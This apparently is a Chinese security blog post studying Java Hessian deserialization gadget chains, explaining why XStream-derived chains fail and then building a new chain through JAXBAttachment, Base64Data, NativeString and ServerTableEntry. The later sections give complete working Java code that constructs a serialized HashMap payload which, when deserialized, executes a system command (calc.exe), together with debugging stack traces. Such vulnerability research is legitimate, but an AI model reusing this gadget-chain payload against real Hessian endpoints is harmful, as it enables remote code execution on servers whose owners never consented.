前言
学习!
环境搭建
只需要一个Hessian依赖:
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.66</version>
</dependency>
序列化和反序列化使用Hessian2:
public static byte[] serialize(Object o) {
byte[] bytes = null;
try {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
Hessian2Output ho = new Hessian2Output(bos);
ho.getSerializerFactory().setAllowNonSerializable(true);
ho.writeObject(o);
ho.flushBuffer();
bytes = bos.toByteArray();
}catch (Exception e) {
e.printStackTrace();
}
return bytes;
}
public static Object unserialize(byte[] bytes) {
Object o = null;
try {
ByteArrayInputStream is = new ByteArrayInputStream(bytes);
Hessian2Input hi = new Hessian2Input(is);
o = hi.readObject();
}catch (Exception e) {
e.printStackTrace();
}
return o;
}
Hessian可以理解为存在类型限制(如Map和Iterator等类型在反序列化时可能受到限制)且不要求可序列化的反序列化,可以类比Xstream和Fastjson。
Xstream ContainsFilter利用链
ContainsFilter只有从FilterIterator来的调用方式,然而Hessian在反序列化Iterator时使用的是IteratorDeserializer,其readList函数如下:
ArrayList list = new ArrayList();
in.addRef(list);
while (! in.isEnd())
list.add(in.readObject());
in.readEnd();
return list.iterator();
类型被限定为了ArrayList,无法正常反序列化Iterator类。
而且ContainsFilter继承自ServiceRegistry.Filter,该接口下的filter函数需要一个参数,也无法通过AnnotationInvocationHandler调用。
XStream InitialContext
貌似有一个以MultiUIDefaults为入口的利用链:
XString#equal->
MultiUIDefaults#toString->
UIDefaults#get->
UIDefaults#getFromHashTable->
UIDefaults$LazyValue#createValue->
SwingLazyValue#createValue->
InitialContext#doLookup()
看起来是JNDI注入,不怎么有趣。这条链因为MultiUIDefaults继承自Map,虽然它有public的无参构造函数,但是因为MapDeserializer实例化时用的是constructor + newInstance()的方式而不是一般类所用的_unsafe.allocateInstance(_type),所以MultiUIDefaults就会因为不是public类而无法实例化。
ServerTableEntry + GetterSetterReflection
按正常反序列化流程会从RequestContext开始,然而它是一个Map,而且没有无参构造函数,于是就被Hessian鲨了。
Constructor<?> []ctors = type.getConstructors();
for (int i = 0; i < ctors.length; i++) {
if (ctors[i].getParameterTypes().length == 0)
_ctor = ctors[i];
}
if (_ctor == null) {
try {
_ctor = HashMap.class.getConstructor(new Class[0]);
} catch (Exception e) {
throw new IllegalStateException(e);
}
}
MapDeserializer只要public的无参构造函数,不然把Map全都给你整成HashMap。
找找还有什么地方调用了JAXBAttachment.asInputStream,找到了同类下的getInputStream函数:
public InputStream getInputStream() throws IOException {
return this.asInputStream();
}
再往上一找,会发现Base64Data.get:
public byte[] get() {
if (this.data == null) {
try {
ByteArrayOutputStreamEx baos = new ByteArrayOutputStreamEx(1024);
InputStream is = this.dataHandler.getDataSource().getInputStream();
baos.readFrom(is);
is.close();
this.data = baos.getBuffer();
this.dataLen = baos.size();
} catch (IOException var3) {
this.dataLen = 0;
}
}
return this.data;
}
非常眼熟,这不就是Xstream反序列化漏洞中用到过的类吗,简单测试一下:
JAXBAttachment jaxbAttachment = new JAXBAttachment(null, null, null, null);
DataHandler dataHandler = new DataHandler(jaxbAttachment);
Base64Data base64Data = new Base64Data();
Utils.setField(base64Data, "dataHandler", dataHandler);
Object nativeString = Utils.createWithoutConstructor("jdk.nashorn.internal.objects.NativeString");
Utils.setField(nativeString, "value", base64Data);
Map<Object, Object> map = new HashMap<>();
map.put(1, 1);
Object[] table = (Object[])Utils.getFieldValue(map, "table");
Utils.setField(table[1], "key", nativeString);
byte[] bytes = serialize(map);
Object o = unserialize(bytes);
发现在反序列化过程中正常走到了JAXBAttachment.writeTo函数:
java.lang.NullPointerException
at com.sun.xml.internal.ws.message.JAXBAttachment.writeTo(JAXBAttachment.java:109)
at com.sun.xml.internal.ws.message.JAXBAttachment.asInputStream(JAXBAttachment.java:99)
at com.sun.xml.internal.ws.message.JAXBAttachment.getInputStream(JAXBAttachment.java:125)
at com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data.get(Base64Data.java:181)
at com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data.toString(Base64Data.java:286)
at jdk.nashorn.internal.objects.NativeString.getStringValue(NativeString.java:121)
at jdk.nashorn.internal.objects.NativeString.hashCode(NativeString.java:117)
at java.util.HashMap.hash(HashMap.java:341)
at java.util.HashMap.put(HashMap.java:614)
at com.caucho.hessian.io.MapDeserializer.readMap(MapDeserializer.java:114)
at com.caucho.hessian.io.SerializerFactory.readMap(SerializerFactory.java:577)
at com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2093)
at org.example.App.unserialize(App.java:63)
at org.example.App.main(App.java:38)
继续构造,BridgeImpl类的构造比较麻烦,下一步的MarshallerImpl对象要从其父类Bridge的marshal函数中获得,调用链比较复杂:
Marshaller m = (Marshaller)this.context.marshallerPool.take();
marshallerPool.take是一个抽象类Impl中定义的函数:
public final T take() {
T t = this.getQueue().poll();
return t == null ? this.create() : t;
}
private ConcurrentLinkedQueue<T> getQueue() {
WeakReference<ConcurrentLinkedQueue<T>> q = this.queue;
ConcurrentLinkedQueue d;
if (q != null) {
d = (ConcurrentLinkedQueue)q.get();
if (d != null) {
return d;
}
}
d = new ConcurrentLinkedQueue();
this.queue = new WeakReference(d);
return d;
}
需要构造一个包含ConcurrentLinkedQueue的WeakReference,WeakReference类的get函数很好控制:
public T get() {
return this.referent;
}
而这个抽象类Impl最后被实例化为了匿名类:
this.marshallerPool = new Impl<Marshaller>() {
@NotNull
protected Marshaller create() {
return JAXBContextImpl.this.createMarshaller();
}
};
此外的问题也比较多,一步步调试最后构造出对象:
JAXBContextImpl.JAXBContextBuilder jAXBContextBuilder = new com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.JAXBContextBuilder();
jAXBContextBuilder.setClasses(new Class[]{});
Object jaxbContext = jAXBContextBuilder.build();
Object marshaller = Utils.createWithoutConstructor("com.sun.xml.internal.bind.v2.runtime.MarshallerImpl");
Utils.setField(marshaller, "encoding", "UTF-8");
Utils.setField(marshaller, "context", jaxbContext);
Constructor<?> c = XMLSerializer.class.getDeclaredConstructors()[0];
c.setAccessible(true);
Object xmlSerializer = c.newInstance(marshaller);
Utils.setField(marshaller, "serializer", xmlSerializer);
ConcurrentLinkedQueue concurrentLinkedQueue = new ConcurrentLinkedQueue();
concurrentLinkedQueue.add(marshaller);
WeakReference weakReference = new WeakReference(concurrentLinkedQueue);
Object marshallerPool = Utils.getFieldValue(jaxbContext, "marshallerPool");
Utils.setField(marshallerPool, "queue", weakReference);
Method verify = ServerTableEntry.class.getMethod("verify");
Accessor.GetterSetterReflection getterSetterReflection = new Accessor.GetterSetterReflection(verify, null);
Object classBeanInfo = Utils.createWithoutConstructor("com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl");
Utils.setField(classBeanInfo, "jaxbType", ServerTableEntry.class);
Utils.setField(classBeanInfo, "uriProperties", new Property[]{});
Utils.setField(classBeanInfo, "inheritedAttWildcard", getterSetterReflection);
Object bridgeImpl = Utils.createWithoutConstructor("com.sun.xml.internal.bind.v2.runtime.BridgeImpl");
Utils.setField(bridgeImpl, "context", jaxbContext);
Utils.setField(bridgeImpl, "bi", classBeanInfo);
BridgeWrapper bridgeWrapper = new BridgeWrapper(null, null);
Utils.setField(bridgeWrapper, "bridge", bridgeImpl);
Object serverTableEntry = Utils.createWithoutConstructor("com.sun.corba.se.impl.activation.ServerTableEntry");
Utils.setField(serverTableEntry, "activationCmd", "calc.exe");
JAXBAttachment jaxbAttachment = new JAXBAttachment(null, serverTableEntry, bridgeWrapper, null);
DataHandler dataHandler = new DataHandler(jaxbAttachment);
Base64Data base64Data = new Base64Data();
Utils.setField(base64Data, "dataHandler", dataHandler);
Object nativeString = Utils.createWithoutConstructor("jdk.nashorn.internal.objects.NativeString");
Utils.setField(nativeString, "value", base64Data);
Map<Object, Object> map = new HashMap<>();
map.put(1, 1);
Object[] table = (Object[])Utils.getFieldValue(map, "table");
Utils.setField(table[1], "key", nativeString);
unserialize(serialize(map));
可以在反序列化时触发Runtime命令执行。
参考文章
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!